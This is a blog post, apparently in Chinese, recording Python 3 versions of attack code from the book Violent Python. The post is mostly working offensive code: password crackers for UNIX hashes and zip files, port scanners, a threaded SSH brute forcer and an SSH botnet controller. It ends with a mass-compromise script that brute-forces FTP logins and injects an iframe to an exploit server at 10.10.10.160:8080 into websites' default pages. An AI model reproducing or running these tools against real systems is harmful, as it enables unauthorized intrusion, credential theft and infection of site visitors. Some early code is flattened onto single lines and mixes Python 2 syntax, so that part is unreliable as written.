《Python絕技：運用Python成為頂級黑客》python3實踐記錄
阿新 • • 發佈：2018-12-26
第一章——入門
掃描IP埠 （18、19 頁）
import socket import os import sys def retBanner(ip,port): try: socket.setdefaulttimeout(2) #設定超時 s = socket.socket() s.connect((ip,port)) #連結伺服器和埠 banner = s.recv(1024) #接受TCP套接字的最大資料量，一般1024 return banner except: return def checkVulns(banner,filename): f = open(filename,'r') #開啟檔案遍歷 for line in f.readlines(): if line.strip('\n') in banner: print ('[+] Server is vulnerable: ' + banner.strip('\n')) def main(): if len(sys.argv) ==2: filename=sys.argv[1] if not os.path.isfile(filename): #判斷檔案是否存在 print ('[-] ' + filename + ' does not exit.') exit(0) if not os.access(filename,os.R_OK): #判斷是否有許可權 print ('[-] ' + filename + ' access denied.') exit(0) print ('[+] Reading From: ' + filename) else: print ('[-] Usage: ' + str(sys.argv[0]) + ' <vuln filename>') #沒輸入檔名 exit(0) portList = [21,22,25,80,110,443] ip = '192.168.40.131' for port in portList: banner = retBanner(ip,port) if banner: print ('[+] ' + ip + ':' + str(port) + '--' + str(banner)) if port == 21: checkVulns(banner,filename) if __name__ == '__main__': main()
第一個程式：UNIX口令破解機（20、21頁）
import crypt def testPass(cryptPass): # 加密的口令hash salt = cryptPass[0:2] # 提取加密的口令hash前兩個字元視為salt dictFile = open('dictionary.txt', 'r') # 讀取字典裡的所有單詞 for word in dictFile.readlines(): # 遍歷字典中的每一個單詞 word = word.strip('\n') # 提取單個單詞 cryptWord = crypt.crypt(word, salt) # 用每個單詞和salt計算一個新的加密口令hash if cryptWord == cryptPass: # 如果結果與加密口令hash匹配 print '[+] Found Password: ' + word + '\n' # 顯示找到密碼 return # 找到密碼，返回 print '[-] Password Not Found.\n' # 搜遍字典無果 return # 沒有找到密碼，返回 def main(): passFile = open('passwords.txt') # 開啟加密口令檔案"passwords.txt" for line in passFile.readlines(): # 逐行讀取口令檔案中的內容 if ':' in line: user = line.split(':')[0] cryptPass = line.split(':')[1].strip(' ') # 每一行的使用者名稱和口令hash都是分隔開的 print '[*] Cracking Password For: ' + user testPass(cryptPass) # 呼叫testPass()函式，嘗試用字典中的單詞破解口令hash if __name__ == '__main__': main()
第二個程式：一個Zip檔案口令破解機
import zipfile import optparse from threading import Thread def extractFile(zFile,password): try: zFile.extractall(pwd=password.encode('ascii')) #python3中pwd需要的是byte print ('[+] Fonud Password : ' + password + '\n') except: pass def main(): parser = optparse.OptionParser("[*] Usage: ./unzip.py -f <zipfile> -d <dictionary>") parser.add_option('-f',dest='zname',type='string',help='specify zip file') parser.add_option('-d',dest='dname',type='string',help='specify dictionary file') (options,args) = parser.parse_args() if (options.zname == None) | (options.dname == None): print (parser.usage) exit(0) zFile = zipfile.ZipFile(options.zname) passFile = open(options.dname) for line in passFile: line = line.strip('\n') t = Thread(target=extractFile,args=(zFile,line)) t.start() if __name__ == '__main__': main()
第二章——用Python進行滲透測試
1、編寫一個埠掃描器
TCP全連線掃描、抓取應用的Banner(33-34頁)
import optparse
import socket
from socket import *
def connScan(tgtHost,tgtPort):
try:
connSkt = socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost,tgtPort))
connSkt.send('ViolentPython\r\n'.encode('ascii'))
result = connSkt.recv(100)
print('[+] %d/tcp open'%tgtPort)
print('[+] ' + str(result))
connSkt.close()
except:
print('[-] %d/tcp closed'%tgtPort)
def portScan(tgtHost,tgtPorts):
try:
tgtIP = gethostbyname(tgtHost) #根據主機名字得到主機資訊
except:
print("[-] Cannot resolve '%s' : Unknown host"%tgtHost)
return
try:
tgtName = gethostbyaddr(tgtIP) #根據主機地址獲取主機資訊
print('\n[+] Scan Results for: ' + tgtName[0])
except:
print('\n[+] Scan Results for: ' + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
print('Scanning port' + tgtPort)
connScan(tgtHost,int(tgtPort))
def main():
parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
(options,args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print(parser.usage)
exit(0)
portScan(tgtHost,tgtPorts)
if __name__ == '__main__':
main() 2.執行緒掃碼（35-36頁）（上一個程式碼新增執行緒）
import optparse
import socket
from socket import *
from threading import *
screenLock =Semaphore(value=1)
def connScan(tgtHost,tgtPort):
try:
connSkt = socket(AF_INET,SOCK_STREAM)
connSkt.connect((tgtHost,tgtPort))
connSkt.send('ViolentPython\r\n'.encode('ascii'))
result = connSkt.recv(100)
screenLock.acquire() #執行一個加鎖操作
print('[+] %d/tcp open'%tgtPort)
print('[+] ' + str(result))
connSkt.close()
except:
screenLock.acquire() #執行一個加鎖操作
print('[-] %d/tcp closed'%tgtPort)
finally:
#執行釋放鎖的操作，同時將socket的連線在其後關閉
screenLock.release()
connSkt.close()
def portScan(tgtHost,tgtPorts):
try:
tgtIP = gethostbyname(tgtHost)
except:
print("[-] Cannot resolve '%s' : Unknown host"%tgtHost)
return
try:
tgtName = gethostbyaddr(tgtIP)
print('\n[+] Scan Results for: ' + tgtName[0])
except:
print('\n[+] Scan Results for: ' + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
print('Scanning port' + tgtPort)
connScan(tgtHost,int(tgtPort))
def main():
parser = optparse.OptionParser("[*] Usage : ./portscanner.py -H <target host> -p <target port>")
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-p',dest='tgtPort',type='string',help='specify target port[s]')
(options,args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print(parser.usage)
exit(0)
portScan(tgtHost,tgtPorts)
if __name__ == '__main__':
main() 3.使用NMAP埠掃描程式碼（37-38頁）（需先安裝python-nmap 和 nmap環境）
import nmap
import optparse
def nmapScan(tgtHost,tgtPort):
#建立一個PortScanner()類物件
nmScan = nmap.PortScanner()
#呼叫PortScanner類的scan()函式，將目標和埠作為引數輸入並進行nmap掃描
nmScan.scan(tgtHost,tgtPort)
#輸出掃描結果中的狀態資訊
state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
print('[*] ' + tgtHost + " tcp/" + tgtPort + " " + state)
def main():
parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]')
(options,args)=parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPorts).split(',')
if (tgtHost == None) | (tgtPorts[0] == None):
print(parser.usage)
exit(0)
for tgtPort in tgtPorts:
nmapScan(tgtHost,tgtPort)
if __name__ == '__main__':
main()
4.用Pxssh暴力破解SSH密碼（43-44頁）
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
#定義一個有界訊號量BoundedSemaphore，在呼叫release()函式時會檢查增加的計數是否超過上限
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host,user,password,release):
global Found
global Fails
try:
s = pxssh.pxssh()
#利用pxssh類的login()方法進行ssh登入
s.login(host,user,password)
print ('[+] Password Found: ' + password)
Found = True
except Exception as e:
#SSH伺服器可能被大量的連線刷爆，等待一會再連線
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
#遞迴呼叫的connect()，不可釋放鎖
connect(host,user,password,False)
#顯示pxssh命令提示符提取困難，等待一會再連線
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
#遞迴呼叫的connect()，不可釋放鎖
connect(host,user,password,False)
finally:
if release:
#釋放鎖
connection_lock.release()
def main():
parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>')
parser.add_option('-H',dest='host',type='string',help='specify target host')
parser.add_option('-u',dest='username',type='string',help='target username')
parser.add_option('-f',dest='file',type='string',help='specify password file')
(options,args) = parser.parse_args()
if (options.host == None) | (options.username == None) | (options.file == None):
print(parser.usage)
exit(0)
host = options.host
username = options.username
file = options.file
fn = open(file,'r')
for line in fn.readlines():
if Found:
print('[*] Exiting: Password Found')
exit(0)
if Fails > 5:
print('[!] Exiting: Too Many Socket Timeouts')
exit(0)
#加鎖
connection_lock.acquire()
#去掉換行符，其中Windows為'\r\n'，Linux為'\n'
password = line.strip('\r').strip('\n')
print('[-] Testing: ' + str(password))
#這裡不是遞迴呼叫的connect()，可以釋放鎖
t = Thread(target=connect,args=(host,username,password,True))
child = t.start()
if __name__ =='__main__':
main()
5.構建SSH僵屍網路
import optparse
from pexpect import pxssh
#定義一個客戶端的類
class Client(object):
"""docstring for Client"""
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print('[*] Output from ' + client.host)
print('[+] ' + str(output) + '\n')
def addClient(host, user, password):
client = Client(host,user,password)
botNet.append(client)
botNet = []
addClient('127.0.0.1','root','123456')
botnetCommand('uname -a')
botnetCommand('whoami')6.用Python 構建匿名FTP掃描器
import ftplib
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous','[email protected]')
print ('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
ftp.quit()
return True
except Exception as e:
print ('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.' )
return False
hostname = '192.168.40.131'
anonLogin(hostname) 6-2.利用ftp在網頁中加入惡意注入程式碼
import ftplib
def injectPage(ftp,page,redirect):
f = open(page + '.tmp','w')
#下載FTP檔案
ftp.retrlines('RETR ' + page,f.write)
print ('[+] Downloaded Page: ' + page)
f.write(redirect)
f.close()
print ('[+] Injected Malicious IFrame on: ' + page)
#上傳目標檔案
ftp.storlines('STOR ' + page,open(page + '.tmp','rb'))
print ('[+] Uploaded Injected Page: ' + page)
host = '192.168.40.131'
username = 'test'
password = 'a519395243'
ftp = ftplib.FTP(host)
ftp.login(username,password)
redirect = '<iframe src="http://10.10.10.160:8080/exploit"></iframe>'
injectPage(ftp,'index.html',redirect)
6-3.整合全部的攻擊
import ftplib
import optparse
import time
def attack(username,password,tgtHost,redirect):
ftp = ftplib.FTP(tgtHost)
ftp.login(username,password)
defPages = returnDefault(ftp)
for defPage in defPages:
injectPage(ftp,defPage,redirect)
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous','[email protected]')
print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.')
ftp.quit()
return True
except Exception as e:
print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.')
return False
def bruteLogin(hostname,passwdFile):
pF = open(passwdFile,'r')
for line in pF.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying: ' + username + '/' + password)
try:
ftp = ftplib.FTP(hostname)
ftp.login(username,password)
print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password)
ftp.quit()
return (username,password)
except Exception as e:
pass
print('\n[-] Could not brubrute force FTP credentials.')
return (None,None)
def returnDefault(ftp):
try:
#nlst()方法獲取目錄下的檔案
dirList = ftp.nlst()
except:
dirList = []
print('[-] Could not list directory contents.')
print('[-] Skipping To Next Target.')
return
retList = []
for filename in dirList:
#lower()方法將檔名都轉換為小寫的形式
fn = filename.lower()
if '.php' in fn or '.asp' in fn or '.htm' in fn:
print('[+] Found default page: '+filename)
retList.append(filename)
return retList
def injectPage(ftp,page,redirect):
f = open(page + '.tmp','w')
#下載FTP檔案
ftp.retrlines('RETR ' + page,f.write)
print('[+] Downloaded Page: ' + page)
f.write(redirect)
f.close()
print('[+] Injected Malicious IFrame on: ' + page)
#上傳目標檔案
ftp.storlines('STOR ' + page,open(page + '.tmp','rb'))
print('[+] Uploaded Injected Page: ' + page)
def main():
parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H <target host[s]> -r <redirect page> -f <userpass file>]')
parser.add_option('-H',dest='hosts',type='string',help='specify target host')
parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
parser.add_option('-f',dest='file',type='string',help='specify userpass file')
(options,args) = parser.parse_args()
#返回hosts列表，若不加split()則只返回一個字元
hosts = str(options.hosts).split(',')
redirect = options.redirect
file = options.file
#先不用判斷使用者口令檔名是否輸入，因為會先進行匿名登入嘗試
if hosts == None or redirect == None:
print(parser.usage)
exit(0)
for host in hosts:
username = None
password = None
if anonLogin(host) == True:
username = 'anonymous'
password = '[email protected]'
print('[+] Using Anonymous Creds to attack')
attack(username,password,host,redirect)
elif file != None:
(username,password) = bruteLogin(host,file)
if password != None:
print('[+] Using Cred: ' + username + '/' + password + ' to attack')
attack(username,password,host,redirect)
if __name__ == '__main__':
main()